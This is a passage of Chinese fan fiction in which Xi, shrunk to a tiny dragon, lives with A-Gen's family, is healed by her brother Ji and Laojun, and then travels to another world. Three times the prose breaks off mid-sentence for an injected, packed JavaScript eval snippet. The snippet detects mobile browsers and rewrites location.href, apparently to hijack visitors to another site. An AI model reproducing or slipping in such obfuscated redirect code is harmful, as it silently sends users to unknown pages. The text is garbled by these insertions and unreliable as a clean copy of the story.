两只圆滚滚的小动物撞在一起,撞开墙壁一起飞出屋子,接着一同掉落在屋外柔软的草地上。夕晕晕乎乎地站起身子,四肢不协调地胡乱走了几步,小脑袋一甩一甩的。 “嘤……”脑袋好晕,撞得肚肚好疼…… “比丢……”脑袋好疼好晕…… “嘤?”奇怪,我撞到什么上面了? “比丢?”是什么? “嘤!”啊!是这个黄色毛茸茸! “比丢!”是这个青色大坏蛋! 团鼠被吓得瑟瑟发抖,但是这并不妨碍它坚定地用小爪子抱住新发现的口粮,用自认为很凶的眼神死死盯着眼前的龙泡泡。 “嘤?”怎么啦?夕认真地看看比自己娇小许多的团鼠,颇为严肃地点点头。 团鼠歪着小脑袋:“比丢!”不准抢吃的! “嘤?”夕疑惑地看着团鼠抱着的木头。你在吃木头吗? 团鼠点点头:“比丢!”是吃的! 夕想不通为什么干巴巴的木头也可以当作食物。她还没见过这么喜欢吃木头的动物呢!晃晃自己还有些晕眩的脑袋,夕决定仰起头来活动活动脖子。只是这一抬头可算是直接让夕看见团鼠的罪证了,一间屋子的大半面墙被啃得干干净净,自己的一支毛笔被啃了一半,现在正孤零零地躺在地板上。 愤怒的夕凶狠地扑了上去,用柔软的肚皮压住团鼠,两只前爪尽全力敲着团鼠的脑袋。 “嘤!”把我的画、屋子还有笔都吐出来! 阿根揉了揉隐隐作痛的脑袋,赶忙走过去分开打作一团的龙泡泡和团鼠,一只手托着夕送到桌子上,一只手拎着团鼠放进笼子里。 “总算抓到你喽。”爷爷心疼地看看被咬得不成样子的墙壁,虽然还没走到要重建房子的地步,可是这间屋子是真的遭大罪了。 格外凄惨的叫声自笼子开始响彻整间屋子:“比丢——”放我出去—— 夕可不管团鼠叫得有多么凄惨,她飞快地窜进屋子里,左看看右看看,慌乱地把自己放画的地方都看了个遍,一幅画一幅画地检查过后才松了一口气。她的画没有一点损伤,这实在是太好了! 小脑袋凑到画前蹭了又蹭,圆嘟嘟的脸上露出来一个幸福的笑容,太好了,这些画都没事。 “夕?”阿根不知道什么时候走了过来,“小白,我记得之前跟你提过她,她刚好明天要来这边住几天,你介意和她在一起住上一段时间吗?”经过这几个月的观察,哪怕没有夕画的那幅画为证,阿根和爷爷也早就发现夕的自我认知是个女孩子了,所以在夕的房间被团鼠啃得一团糟的情况下,自然也是最先考虑让夕和小白住一起。 “嘤。”夕认真地点点头,一张宣纸飞过来,墨水在上面写起了娟秀的字,没有问题的。不知道为什么,夕觉得自己还没见过的小白一定是一个温柔又善良的孩子。自己之前见过她吗?不过也说不准,毕竟自己忘了那么多的事情…… 阿根搬起了夕的纸箱小床:“那我先给你把这些东西都搬过去。”刚刚也和小白打电话说过这件事了,既然两个人都没有意见那就趁着还没彻底天黑把东西都收好。 操控着画卷、笔、颜料等一些物件飞起来,夕坐在画卷上带着它们飞向新房间,还在路上坏心思的用墨水敲了敲团鼠的脑袋。 阿根看见这一幕也只是无奈地摸了摸夕的小脑袋,换成他看见自己的心爱之物被损毁估计心情也好不到哪去,夕的墨水实际上也没什么攻击力,就让她稍微发泄一下吧。 收拾完东西吃完晚饭,先是去山上玩了一下午,接着又搬了好多东西的夕累得眼睛都睁不开了,靠在十二幅画卷旁边不知不觉就睡着了,还是阿根把她送回纸箱子里面的。 半夜时分,一片漆黑当中突然睁开了两只橙色的眼睛,圆圆的眼睛里是满满的迷茫。 梦见了好多人啊……好像有大哥温柔地陪自己胡闹,然后练晨功把自己的画毁去,还有黍姐拉着自己说了好久让自己不要总是窝在画里,还有她被年拉着画些奇怪的东西…… 夕又难过起来了,她想回大炎了,哪怕那里会有秉烛人时时刻刻盯着自己,会有老东西带来的威胁一直无法散去…… 不对,艰难地把自己从被子里拔出来,灵巧地跃出纸箱子,她向着自己画的那十二幅画走去。 不应当是这个样子的,她的兄弟姐妹们不应当是这一个样子的。 只是想到画卷上的十二个人影是什么模样,心情就瞬间沉重了下去——哪怕她并不能记得多么清楚,她也在依稀中觉得兄姐们和弟弟不能被画成这样。 他们从岁死后的躯体中诞生,但是他们不是岁,他们拥有着独立的自我,拥有着的一切大多都是倾向于人的。他们会被人所拥有的情感所震撼,会学习起人拥有的东西,他们确实天生拥有着强大的权能,但是他们所有的东西又是切实跟人学习过的,例如情感,例如技能。 半梦半醒间的夕睁着一双眼睛,一只不属于阿根家中会有的毛笔悄然落在她的手边,或许连她自己都未察觉到缠绕在笔尖的是权能而并非颜料。 颜色随着心意一点点的变化着,画卷中的形象也随着不同颜色的涂抹而一点点的变化起来。 第一幅画,峥嵘的龙角如同冠冕,锋锐的剑尾锐利,玄色的衣甲似是军中所用,是一位严厉而温柔的武人。 第二幅画,龙角如珊瑚般散开,长尾如软毫,雪白的衣裳穿着随意,是一位潇洒自如的诗人。 第三幅画,高耸的龙角如玉般温润,长尾柔顺地紧贴大地,衣衫上的山脉与水纹清晰可见,是一位和蔼可亲的农人。 …… 除却龙角龙尾和手臂上奇异的色彩,无论是谁看见他们都不会否认他们身为人的身份。 亲昵地蹭蹭这十二幅画卷,她倚着画,睡着了。 再醒来的时候天已经明了,日光透过窗帘落在小小的龙泡泡上。 好困哦……懒散地打了个小小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201031|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈欠,夕眨眨眼睛看见了自己在昨夜半梦半醒间画出的大作。说起来昨天自己梦见了什么来着,好像梦见了各种各样的人,最奇怪的当属那个黑色兜帽人了,捂得严严实实的,什么都看不出来,但是偏偏梦里的自己又对他信任得紧。 还有梦里有一个叫黎的人……她不太能记得清了。好像还有个叫左乐的人天天跟在自己身后跑?自己好像还给过他一幅画? 龙泡泡出神地望着窗帘缝隙中的那抹日光,思绪早就不知飘到了哪里。 迷迷糊糊地听着阿根敲门的声音出去吃早饭,迷迷糊糊地遇见了小白和小黑,夕还在努力的想着那些破碎的记忆。 “喵?”我叫小黑,你呢? “嘤。”夕。慢吞吞地回应着黑色猫咪的问好,她突然伸出一只小爪子摸了摸对方的脑袋。 小黑震惊地伸出爪爪挡住夕的爪子。 不好意思……有点迷糊。夕收回自己的爪子,小小声地“嘤”了一下。 “你好呀,我是小白,这是小黑。”粉发的女孩子弯下腰认真地看着夕。 “嘤。”我叫夕。龙泡泡伸出前爪和小白握了手。 “哥哥在电话里跟我提过你。”小白松开了手里的龙爪爪,“我可以看看你画的画吗?” 夕点了点头,转过身带着小白进了屋子,操纵着画卷飞了出来,然后一幅又一幅地展开这些画卷。 小白坐在夕的旁边,很有礼貌地没有直接上手去碰这些画,只是跟着夕展开画卷的动作去看。小黑慢慢悠悠地跟在小白和夕的身后,看见画卷无风自动,自己就飘了起来,惊得尾巴都不晃了,两只眼睛瞪得大大的。这是可以直接展示在人类面前的吗!没有上过学的猫妖感到迷惑。 “小黑,你是妖精吧。”阿根站在小黑后面,看着黑猫一顿一顿的动作,淡定地说。 小黑机械性地点了点头,他现在非常确定这家人知道妖精的事情。他们家里还住着一只龙呢!那说起来小白知道自己是妖精吗?他的尾巴在地面上一扫一扫的,足以显示出他心情的不愉。 “不用怕哦,因为我和夕也是呢。”阿根揣着手说。 “喵?”等等!那条龙也就算了,这个怎么看都是个人的家伙怎么可能!而且、而且如果他也是妖精的话那小白的哥哥呢?小小的脑袋里装满了大大的疑惑。不过好像没有人规定一个家庭里不能有妖精和人类一起生活…… 小黑想想小白对夕的模样一点其他情绪都没有的样子,决定不去想那么多了,他慢条斯理地走了过去,坐在夕的另一侧,一起跟着看那些画。 “喵?”好多龙? “嘤!”是哥哥姐姐们!还有小弟! “喵?”这个是你? “嘤。”对。 “喵?”你也受伤了吗? “嘤……”对…… 两个小脑袋聚在了一起,叽叽喳喳地聊了起来。小白看看聊得正欢的两个小家伙,静悄悄地起身去找阿根。 16. 在罗小黑的第5天 “哥哥!团鼠跑掉了!”小白正抱着团鼠,哪里想到它收缩了腹部像一滩液体般滑到地上,沿着木制的地板咬了下去。 “速度好快,而且这么深……”阿根盯着地面上的洞陷入了思考,“准备盖新房吧。”谁也不知道团鼠会直接钻到什么地方,又会把房子地基啃成什么样子。按照过去的经历,房子……大抵是会直接被团鼠啃到塌陷的。 夕听见小白的声音后就急急忙忙地赶了过去,趴在洞旁认真地盯着看。洞的内部漆黑一片,但是对于夕而言看清楚并不是什么难事,只是这其中看到的东西让她忍不住地惆怅,她只能看见一条道路直通下去,里面连着的大片空间内部是什么样子她是看不见的,更不要提找到躲起来啃食木头的团鼠了。 “嘤。”夕深吸一口气,操纵着一团墨水飞进洞的内部,墨水变成她的眼线,附在洞穴壁上一点点搜查着团鼠的踪迹。 龙泡泡想要用墨水把团鼠从洞里拎出来,不过团鼠昨天刚被墨水敲过脑袋,正记着仇呢,对这股墨水味道正是最熟悉的时候,闻着这股味道就迅速转移了自己。于是夕的墨水和团鼠一起在洞穴内部玩了一场捉迷藏,你追我赶好不热闹。 最终是还带着伤又熬了夜还无意中用了权能的龙泡泡率先败下阵来。 洞穴中的墨水安静地趴在地上睡去,地面上的夕安静地瘫成一张青色的饼。 “喵。”让我试试。小黑蹲在洞穴边上看自己新交的好朋友失败,决定要来帮帮忙,他矜持地舔舔爪子,把自己的长尾巴送进了洞里。 在谁也看不到的洞穴当中,长尾巴断开分成了数截又变成好几个小圆球,他们一起蹦蹦跳跳着把团鼠绑了个结结实实,然后重新连成了一条长尾巴,最后尾巴慢慢缩短变回了猫咪正常的尾巴大小,团鼠也重新回到了地面上。 在确定了团鼠可以被小黑看住之后,团鼠成功获得了出笼的权力——在小黑的贴身看护之下。 团鼠确实会损坏房屋,可它并不是有意的,毕竟在它的眼里,眼前的分明是样子奇怪的食物,哪里是房子。所以它获得自由也相当简单,只要能保证不会随意损害东西,自由马上就会到来。 夕是不大高兴的,她原本住的房间被啃得破破烂烂,怎么看这只团鼠都应该在回到山林之前好好接受一顿教训的。可是她看看团鼠小心翼翼望着食物的眼神,又听着阿根介绍团鼠的特点和遭遇,她还是心软了,一边在心里念叨着团鼠再犯自己就要惩罚它,一边把小脑袋埋进了爷爷精心制作的晚饭当中。 龙泡泡对放团鼠出来原本是还有些迟疑的,可是看看和两个女孩子一起玩得开开心心的团鼠,她还是慢悠悠地暂时原谅了比丢——小白给团鼠起的新名字。她也很喜欢可可爱爱的团鼠,只是之前到底是画险些被毁的愤怒让她选择了忽视这一点。 跃上屋顶,夕把自己团成一团,看看打着羽毛球的几人和好奇围观的比丢与小黑,她缓缓打了个哈欠,决定安安心心地晒着太阳睡上一会儿。 “轰——”巨响打断了夕的睡眠。 她震撼地看着巨大的变成绿色的比丢。 团鼠原来是可以长这么大的吗? 不对!比丢状态不对!它的眼睛从黑色变成白色了!而且它怎么看都是神智不清的样子!来不及去思考更多的,龙泡泡机警地卷起了身旁的画卷,她看着地面上躲闪着比丢攻击并准备反击的阿根和小黑,只是迟疑了一秒然后毫不犹豫地用爪子拍在了画卷之上。 她那模糊而破碎的记忆里,记得自己的画卷当中还住着自己的造物。用权能制造出来的造物们哪怕看上去娇小可爱,实际也绝不会柔若可欺。她是不会打架没有多少战斗力,但是她的造物定是可以帮到阿根和小黑制服团鼠的! 她不知晓自己在没有痊愈的情况下这样动用权能到底会不会加重自己的伤势,但是她想要帮助阿根和小黑,她并不想要看见这两个孩子这么受伤。 画卷中升腾出点点光泽,她的造物顺应着召唤冲破阻碍重新飘在了夕的身侧——是自在。 威严冷傲的怪物站在瓦片上,没有对创造者如今的模样进行质疑,只是听从着主人的意愿飞奔到了阿根和小黑的身侧,根据他们给出的方案,一起帮忙让比丢恢复了原样。 形似重峦的怪物接住了从屋顶上跳下的主人。 “你们没事吧!”焦急的女声从小小的龙泡泡口中发出。 “没事,只是比丢……”阿根手里拢着小小的团鼠,摇了摇头。 自在没有说话,它在思考它的主人身上究竟发生了什么,且不提为何变成了这副模样,单单说话的语气就让它忍不住地纠结。向来清高的主人哪里这么表达过感情啊!哪怕是对待她的兄弟姐妹们也没有这样过啊。 等到在阿根的指挥下载着主人藏起身来,自在还是没有想明白这个问题。它也没有继续思考这个问题了,因为夕身上的伤势吸引了它的注意力,自在哪里见过夕受过这样严重的伤。 它焦急地给夕输送着力量帮助她恢复伤势,却发现一点用处都没有,输送进去的力量最终只会逸散。 急得团团转的自在也顾不得冷傲了,更别提对着自己的创造者哪里需要这些,它大胆地把夕从脑袋上取下来抱在爪子里,左看看右看看,只想赶紧找到到底是哪里出了问题,就差把脑袋抵在夕的额头上了。 面对造物的以下犯上,夕选择伸出爪子挡住自在的脑袋,阻止它继续查看。 “嘤。”我已经在恢复了。 等阿根安置好比丢又送山新离开后看见的就是一大一小对峙的场面。 “请问你是?”这是夕的家长吗? 自在默默地把夕放回了脑袋上,它审视着眼前的男孩,它对他有印象。在泰拉绝对不可能出现的人类,来自异世界的孩子。 夕才不管那么多呢,她从自在的脑袋上一跃而下跳到地上:“嘤!”是我的造物!是失忆前的我画出来的。 自在陷入了沉思,所以是因为失忆?它是不是应该自己做主联系联系可以帮忙的人……话说等恢复记忆里之后自己直视这一幕却不阻止真的不会被回炉重造吗? 阿根和小黑茫然地把这当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201032|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了夕的能力。 等隔天送比丢回山林的时候夕留在了家里,连着两天用了权能的她只想睡觉。 趴在屋顶上晒着太阳呼呼大睡的龙泡泡再睁眼的时候是被爷爷叫醒的。 “夕,要来暴风雨了,急得把东西收拾收拾再睡。” 懒散地打了个哈欠,夕把所有要紧的东西都装进了画卷里,然后把兄姐和幼弟的画像摞在一起,自己趴在画像上继续睡了过去。半梦半醒之间她感觉自己好像从屋顶去到了窗台,好像听见了一下又一下的打斗声。 话说回来……为什么这两天白天她一睡觉就会被吵醒啊!夕不满地睁开了眼睛,然后震惊地看到阿根被谛听打到灵体飘出的场景。 “嘤!”有妖精欺负人了!夕抬爪再次按住了画卷。 她想要再次召唤自在,但是楼下的声音让她住了爪。她不知道阿根抱着的是什么样子的主意,但是她信任他们,因此也愿意暂时放弃自己的想法。 夕加入了观战的队伍。 夕呆滞地看着他们因为下雨停战。 他们……好像认识? 夕听着他们的聊天只觉得脑袋乱糟糟的,慢吞吞地操纵着画卷们飞起来远离上涨的水面,自己也跟在小黑的身后跳到更高处的地方。 “嘤?”所以都是误会? 阿根默默地点了点头。 “嘤?”那我能一起去见老君吗? “当然可以。”谛听点了点头。 指挥着画卷们排排坐好,夕重新把自己摊在了画卷堆上面。 龙泡泡看着越来越高的水面,惆怅极了。 “嘤。”水面变得好高……还要越来越高。我可以把自在召唤出来吗? 阿根再次点了点头。 夕把爪子伸进了画卷,计划把自在拽出来。她想让自在把她的画卷都带着飞起来,远离不断上升的水面。可是从画卷里出来的不是自在,取而代之的是一只手,一只五彩斑斓的手。 “嘤?”夕看着被她拽出来的这半只手茫然地叫了一嗓子。 “小夕,借我些力气。” “嘤!”手会说话了!等、等等……这个声音好像是绩…… “小夕?”男声有些迟疑。 龙泡泡僵硬地把爪子往上提了提,很努力地拽出了男人的整只手。她又想了想,换了个方向往后退了几步,把男人的手搭在了桌面上。 伴随着一道无奈的叹息,这只仿佛天生长着彩绘的手一点点使力,先是胳膊,再是龙角,他逐渐彻底显现了身形,从画卷中走了出来。 夕安静地站直了身体,抬头看向站在桌子上的男人。 “小夕。”绩抬手捧起了自己最小的妹妹,“这是怎么一回事,是不是自在没来找我们的话,你都不愿意告诉我们你受了这么重的伤?”天知道他带着商队行商途中,自在从画中跳出来,然后告诉他夕受了伤又失了忆的时候他到底有多慌。他是最敬爱黍没错,但是这不代表着他就不在乎自己的其他兄弟姐妹。 夕蹭了蹭绩的手心,什么都没有说。 17. 在罗小黑的第6天 绩抬起手,他把夕身上的伤势织成织物,挥手间撕碎捻作灰尘散去,于是那些尚未痊愈的伤口便在刹那间消失,鳞片密密麻麻地交织在一起,完整极了,无论是谁都看不出来几分钟前鳞片下还藏着细碎的伤口。 龙角龙尾看着便并非凡人的男人珍惜地捧着怀中的幼妹,动作轻柔地抚摸着她的脑袋。他一边安抚着幼妹,一边把自己的力量缓慢地送进了她的身体,填充着夕体内力量的空缺。任谁站在这里都无法否认他对幼妹的关爱。 面对着这一幕,阿根谨慎地把爷爷和妹妹挡在了身后,他知道夕是个善良温和的妖精,但是他并不知道绩是个怎样的妖精。万一绩是个只对家人温柔的妖精呢? “倒不必这么谨慎,我怎么说都还是遵纪守法的。”绩可不管周围的人的态度如何,想法又是怎么样。他是岁的十二枚碎片之一,对力量的感知极为敏锐,在他踏出画卷的那一刻起他就感受到了,这片大地绝对不是泰拉,至少不是他们目前生活的那个泰拉。他可是连一丁点和源石有关的东西都丝毫感知不到啊,在泰拉哪里会有这么干净的地方?恐怕也只有他这个失了忆的妹妹感觉不出来这里并非泰拉吧。 绩若有所思地摸着妹妹的脑袋瓜,想起了令前些日子给他们几个托的梦。梦里无外乎是让他们几个多注意些,不要暴露了夕的事情。想来就是指夕现在离开了泰拉。离开也好,在大炎还要被司岁台时刻盯着,做什么都不自在。虽然夕妹不在泰拉对他们兄弟两个的计划有些阻碍,但是也不过是需要对计划修改一二而已,算不得什么的。不,甚至某种意义上来说他和二哥的计划也算少了个阻碍吧,毕竟若是计划被其余的兄弟姐妹们知道了,他们兄弟两个也免不了遭些教训。只希望姐姐到时候可以看在他是为了兄弟姐妹们的份上少教训他些。 只觉得身体舒服多了的夕眯起了眼睛,她蹭了蹭兄长的胳膊,只觉得伴随着身体当中力量的充盈,脑海也逐渐被本就属于她的记忆填充起来。 她忍不住伸出短小的爪子按住绩的袖口,一五一十地介绍了自己来到这里后发生的事情。 听闻了夕的经历,绩看着几人的眼神也柔和了几分。他本就不是天生对人类抱有恶意,顶多只是行走时间千余年,见惯了人类的复杂,因而也就多了几分防备罢了。更不要说他也有交好的人类长辈或是朋友,例如神农,例如那带他行商的商人。 他倒是想要趁着机会和这些人多说几句话,再交代给幼妹一些事情,可是时间实在是来不及了。他先是动用权能,后来又把大量不属于此世的力量输给夕妹,世界对他的排斥愈发沉重,过不了多久他就要被排斥回泰拉了。 绩也因此只是把手中的幼妹平稳地放在了地上,再摸了摸她的脑袋:“下回可不能把我关在门外了。” 夕茫然地看着久别重逢的兄长重新消失在画卷当中,满盈的力量带来的是全部记忆的回归,她努力地消化着自己的记忆,闭上又重新睁开的红瞳中再次充斥着清冷与高傲,其中还隐藏着一丝羞耻和木然。 哪怕是在失忆的情况下做出的这些举动……那也,那也…… 她沉痛地决定暂时不暴露自己已经恢复记忆的事实。 麻木地卷卷画轴把它们都收拾好,夕揣着前爪安静地趴在木头架子上,仔细检查着自己的身体。绩帮她治好了伤势,又给她传输了那么多的力量,理论上来讲她应当是恢复了的,可是如今她并不能如往日一般化作人身。那么必然是有什么关键的地方被她忽视了,是什么呢? 细细思索这段时间的经历,她其实是在快要接触到阿根的时候被挤压成了这副模样的,并且同样也是在阿根和小白小黑身边的时候慢悠悠地恢复了部分记忆。再结合一下这三个孩子的身份,答案显而易见:她因世界意识的排斥而受伤,却也因这些孩子们的认可而逐渐恢复。 世界意识在排斥她,可是世界意识偏爱的孩子们接纳她。 如此一来,彻底恢复的方式就明了了——她需要一位在这个世界有足够分量的存在认可她。 身为“主角”的小黑的认可没办法让她彻底恢复,那么小黑的师父无限呢?或者老君的认可呢? 她若有所思地卷着尾巴,已经抽长不少了的身体已经不太适合像往常那样蜷缩起来了。 夕没有理会眼中带着些许警惕的谛听,不能再称之为龙泡泡的幼龙甩了甩细长的尾巴,被甩出的权能补全了还在漏水的屋顶。她有预感,此次出发必能达成所愿。而等待恢复之后她便要离开这个世界,在离开之前怎么说都应该给他们留些什么,她可不会知恩不报。 等待雨停之后,几人出发前往了老君山。 进入那扇尘封已久的门,又乘船路过清冷无人的镇子和矗立多年的借火岩,老君居住的地方就在眼前。 等待解过疑问又被派出去干活的三个妖精离开,夕才开了口。 “可否请您帮我疗伤?” 老君早就注意到跟着一起来的这条龙了,作为早已成仙的存在,他可不像玄离、谛听或是小黑那样眼力差些,不说别的,夕身上不属于这个世界的气息在他眼里可是明确极了的。 两人一同看向了小白。接下来的话题可不适合让身为普通人的小白来听。 “自在。”水墨一般的龙自画卷跃出,安静地站在夕的身旁。 老君饶有兴致地看着自在,和他们完全不一样的力量体系啊……他倒是不担心夕心怀恶意,作为心灵系的妖精他怎么说都不至于连一个生灵最基本的善恶都看不出来。 “小白和自在一起出去一会儿可好?”夕柔声问道。 小白是一个懂事的好孩子,她看出来老君和夕是有事情要说就乖乖地和自在暂时出门了。 老君答应地极为痛快:“我可以为你疗伤。”他又不是什么见死不救的神仙。面前这一位若是一直在这个世界待着,那就要一直承受着排斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201033|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪怕不停地治疗着也会逐不断衰弱下去,倒不如治好伤让她离开。不过理论上来说来自其他世界的生命一旦进来就会被排斥受伤,这姑娘是怎么让自己好了大半的?考虑到这涉及到对方的隐私,他没有问下去。 “等那几个孩子回来吧。”夕伸出爪子按住了老君的手,“等待彻底恢复的那一刻我就会被彻底排斥出这个世界,我想在离开前给那几个孩子留些礼物。” “还有……”夕有些犹豫,但是她还是开了口,“那三个孩子,阿根、小黑还有小白,再加上他们养的那只团鼠,请务必看好他们。” “他们未来或许会去往我出身的那个世界。如果可以的话,请阻止这件事。没有必要让他们去泰拉受苦,那片充满苦难的大地不适合他们。”她满脸严肃地嘱咐着老君,“我有个姐姐,她所持有的权柄是因果,曾窥见了这三个孩子在泰拉。”她不知晓如何更好地增加自己话语的说服力,因此她说了谎,在话语中带上了黍。不过某种意义上这么说倒也没错,毕竟黍登上罗德岛的时候,这三个孩子可还没有离开。 原本还有些懒散的老君听见这话立马坐直了身子,他并没有怀疑夕话中的真假。确实话语当中有真有假,但是这三个孩子会去其他世界这件事毫无疑问是真话。不说别的,玄离待在阿根身上,能让一个已经成仙的妖精跟着离开,这可不是什么小事。 “我会拜托别人看好他们的。”他有誓约在身出不去,但是幸好外界也有很多靠谱的妖精。例如说本身就是小黑师父的无限。作为当世最强的无限来偶尔盯着这些孩子,再拜托谛听看着他们,还有玄离在阿根身上,问题应当不大。 话是这么说不假,但是不担心是不可能的。 夕看出来老君的担忧,她摇了摇头:“我会在他们身上留下标记。”这本是一开始就打算做的事情。小黑和阿根还好,小白可是切真价实的普通人。作为普通的没有多少武力值的纯粹的人类,在那片大地上生活实在是太过艰难。 老君轻轻点头,同意了夕的想法。眼前的是个毋庸置疑的强者,有她庇佑这些孩子他多多少少也能放些心。刚刚小白在外面险些遇见危险,夕召出的巨龙可是把那妖精结结实实揍了一顿。只是造物就有这般力量,夕的真实力量不言而喻。 三个孩子和谛听回到了塔中,夕转过身认真地看着他们。 “我要离开了。”软糯的吴语冷清极了,细长了许多的龙柔和着双眼。 阿根还记得夕说的天师和司岁台之类的事情,他想要开口询问夕是否会平安,却被一副落入怀中的画卷堵住了嘴:“夕……” “临别前给你们留些礼物。”自在默不作声地回了画卷,夕的身体沐浴在老君治疗的力量下显得神圣极了。 身着旗袍的龙女取代了原地的幼龙,墨迹化作小巧的痕迹落在了三个孩子的臂上。 来不及再多做些道别,来自世界的排斥已经把夕送了出去。 18. 在原神的第1天 相比起初次踏入世界间裂隙时的手忙无措,夕这一次在短暂的时间里做足了准备。她轻车熟路地为自己罩上一层屏障,又让长剑裹着权能漂浮在自己身前充当着指南针。 她能够清晰地感觉到,自己要找寻的故乡离自己越来越近。 在刚刚离去的那个世界里化身龙泡泡的经历与持明的龙相结合在一起给了她灵感。人类的身体迈出的每一步都并不是很大,更不要说她的体力本身就不是很好,若要只凭借自己的双腿跑过去实在有些艰难。但是如果是龙身呢?用龙的身体飞出去会不会更快一些?说起来也是,理论上来说,持明完全化作龙身的力量也会比普通的人身更强一些。 之前未曾想到过,是她还把自己当作岁的十二分之一,在罗浮也没有见过持明们用过龙身,自己也就自然而然地没有想过还可以这样。如今想起来了,那便是免不了要试试的。 离前面最近的世界的距离并不长,她大可以用这一段距离来做个实验。 转瞬间她就化作了一条身体修长的龙。 从龙角到龙尾,自多样的青色向玉白色过度,点点墨迹渲染在或青或白的鳞片上面,由黑逐渐过渡到青色的鬃毛仿佛肆意燃烧的火焰般飞扬,赤红的瞳锐利极了。周身萦绕着的隐约墨色是她力量的体现。 修长的身体轻轻地甩着尾巴便一下子飞出去数里,她灵巧地飞在这片漆黑当中。颜色多彩而绚丽的鳞片覆盖在她的身体表面,貌似人畜无害的龙鳞隐藏着自己的锋锐,仅用着光滑的那一侧抵挡住来自外界的攻击。 她最终停在了一个世界的表面。 夕有些迟疑。 她在这个陌生的世界当中感受到了自己的权能还有不朽的命途力量。可是她又无比确信这个世界绝不是泰拉亦或崩铁的宇宙。 龙身的防御力有效地帮助夕抵御着来自裂隙中无目的的攻击,也给了她足够的时间来细细观察。 很奇怪,真的很奇怪。 在她的视野当中,这个世界绝对没有源石的存在,它除了沾染着些许污秽以外干净极了,就仿佛这个世界当中有什么人故意把一切可能对世界造成损害的事物都人为地阻拦在世界之外。不过这点也并非不好理解,为了保护好自己心爱的世界而坚决地把一切有害之物都阻隔开来罢了。 可是属于她的力量出现在这个陌生的世界却是古怪极了。 她属于外来者。 可是为什么她的权柄却这么安静地呆在那里?甚至还参杂着不朽的命途……说是平行世界的她也不是解释不通,可是她经过这么一遭,太了解不同世界间的空间到底有多么不稳定,只是岁的十二分之一的她哪里能跨越得过去呢?不过若是加上一份可以称之为不朽令使的命途力量……倒也并非没有可能。 要去看看吗? 她到底还是不大乐意去看见自己的。 可是莫名地自己又有种预感叫自己一定要去,就像这里面有什么对自己非常重要的东西一样。 夕突然在心头冒出来一个想法。她是失了忆的,只记得自己在泰拉的日子还有去了更高维的世界的日子,其余的记忆她是一丁点都没有的。她不是没有怀疑过自己是不是因外物而失了忆,可是自己在检查之后确定是什么事情都没发生过。若不是自己行走在不朽的命途上还有着令使的力量,她真要怀疑自己是不是直接从泰拉穿越到崩铁的了。不……好像无论是哪种说法都是根本不可能的。 嗯?说起来……身为不朽龙裔的持明们和自己的差距是不是有些过大了?就仿佛自己和他们根本就不属于一个物种。自己的体质柔弱地也绝不像是持明,更别说是生命形态绝非普通人类的令使了。是因为自己的认知更偏向于身为岁片化身的夕而并非身为不朽龙裔兼任令使的夕吗? 夕不知道。 她最终下了决定,要进入这个世界去看看。 长龙甩尾,直接跃入了这个世界。 是很奇怪的感受。夕没有感受到自己在进入罗小黑世界后遭受到的排斥感,与之相对的是仿佛水乳交融之感。她轻而易举地进入了这个世界,就仿佛孩童扑进母亲的怀抱一般。 来不及细想这异常的感觉,为了不引人注意,她在进入世界后快速地化为人身。 鞋跟踏在绿茵之上,洁白的花朵开在脚边,和绿草一起迎着朝阳在微风中起舞。眼前是连绵不绝的山峰看不到尽头,左侧的山头上镶嵌着剔透的琥珀,飞瀑一泻千里,又有红叶做盖头罩在琥珀旁,全然是一片奇异的风光。夕缓缓移动着视线向右看去,在山间看到一座矗立在浮空石头上的雕像,雕像上有一束蓝光直冲天际。 分明应当是未曾见过的陌生景象,她却莫名地从心头感受到了感慨和怀念。 所以这里是自己失忆期间去过的地方? 夕转身想要继续往右看去,她抚着身旁的岩壁,却感觉手下空无一物。 她彻底转过身去,只见自己的手直接探入了岩石,就好像这岩石只是幻象,实际根本不存在于现实。这显然是不可能的,自己脚边的花朵可怜兮兮地被岩石阻挡着继续生长的方向,还有风被岩石挡住……这一切都告诉她,岩石是真正存在的。 她试探着把手继续往里伸去,可是依旧什么都没有碰到。 于是她走了进去。 浮现在自己眼前的是一间画室。 雪白的墙壁上镶着琉璃做窗,明媚的阳光透过窗户化作彩光照在室内。灰色的地板平整极了,书柜、架子、桌子……一切都是按照她的喜好来放置的。 她转过身去,身后是一扇木门,门上刻着复杂的纹路。在沉下心细细感知后,她确信这是一道复杂的术法纹路,在术法的最深处还藏着自己的权柄,使这间画室的门在他人眼中是一层厚重的岩壁。 她失忆时想来也是在这里结交了些许好友,这术法当中专门刻下的名字和气息可做不了 